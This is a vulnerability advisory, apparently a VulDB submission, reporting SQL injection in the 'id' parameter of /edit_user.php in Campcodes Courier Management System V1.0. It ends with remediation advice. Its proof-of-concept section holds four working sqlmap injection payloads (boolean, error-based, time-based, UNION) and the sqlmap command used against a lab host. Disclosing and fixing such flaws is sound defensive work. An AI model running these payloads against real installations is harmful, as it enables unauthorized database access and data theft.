| Title | Campcodes Courier Management System V1.0 SQL Injection |
|---|
| Description | Campcodes Courier Management System V1.0 /edit_user.php SQL injection
NAME OF AFFECTED PRODUCT(S)
Courier Management System
Vendor Homepage
https://www.campcodes.com/
AFFECTED AND/OR FIXED VERSION(S)
submitter
mawenjie
Vulnerable File
/edit_user.php
VERSION(S)
V1.0
Software Link
https://www.campcodes.com/projects/php/courier-management-system/
https://www.campcodes.com/downloads/courier-management-system-source-code/
PROBLEM TYPE
Vulnerability Type
SQL injection
Root Cause
In courier Management System "/edit_user.php" found a SQL injection vulnerabilities. Websites can directly use blind injection for SQL queries. Attackers can observe the application's response or other visible behaviors to determine whether the injection is successful and further probe and exploit the data in the database.
Impact
Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.
DESCRIPTION
In courier Management System"/edit_user.php" has discovered an SQL injection vulnerability. Websites can directly apply blind injection to SQL queries. Attackers obtain information about the database content by injecting conditional statements and taking advantage of Boolean condition-based judgments in the application. Attackers can try different conditions and verify their correctness based on the application's response. When constructing SQL query statements, the program directly uses the ID input by the user without performing any verification or filtering on it. Therefore, arbitrary SQL queries can be executed by entering malicious ids.
<img width="1501" height="324" alt="Image" src="https://github.com/user-attachments/assets/3d7f4bc1-c0df-43b4-ba46-4db3c5fa3361" />
Vulnerability details and POC
Vulnerability lonameion:
'id' parameter
Payload:
sqlmap identified the following injection point(s) with a total of 80 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://192.168.126.133:8093/index.php?page=edit_user&id=3 AND 2612=2612
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: http://192.168.126.133:8093/index.php?page=edit_user&id=3 OR (SELECT 7317 FROM(SELECT COUNT(*),CONCAT(0x71627a7871,(SELECT (ELT(7317=7317,1))),0x7178707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: time-based blind
Title: MySQL > 5.0.12 AND time-based blind (heavy query)
Payload: http://192.168.126.133:8093/index.php?page=edit_user&id=3 AND 5003=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: http://192.168.126.133:8093/index.php?page=edit_user&id=-2202 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x71627a7871,0x444c4f6a5a66706f4b6d5045446d69566c694944535355645467466652694f6e444c744277757456,0x7178707671),NULL,NULL,NULL,NULL-- -
---
The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:
python3 sqlmap.py -u "http://192.168.126.133:8093/index.php?page=edit_user&id=3*" --cookie PHPSESSID=1gtgbhgc1ei9ort2lvlrt4tod2 --dbs
<img width="1978" height="580" alt="Image" src="https://github.com/user-attachments/assets/e0c229ae-abce-489f-8ff2-cf2ddc51412e" />
Suggested repair
1. Use prepared statements and parameter binding:
Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.
2. Input validation and filtering:
Strictly validate and filter user input data to ensure it conforms to the expected format.
3. Minimize database user permissions:
Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations.
4. Regular security audits:
Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.
|
|---|
| Source | ⚠️ https://github.com/XiaoJiesecqwq/CVE/issues/10 |
|---|
| User | Anonymous User |
|---|
| Submission | 07/25/2025 08:39 (1 Year ago) |
|---|
| Moderation | 07/25/2025 10:46 (2 hours later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 317602 [Campcodes Courier Management System 1.0 /edit_user.php ID sql injection] |
|---|
| Points | 20 |
|---|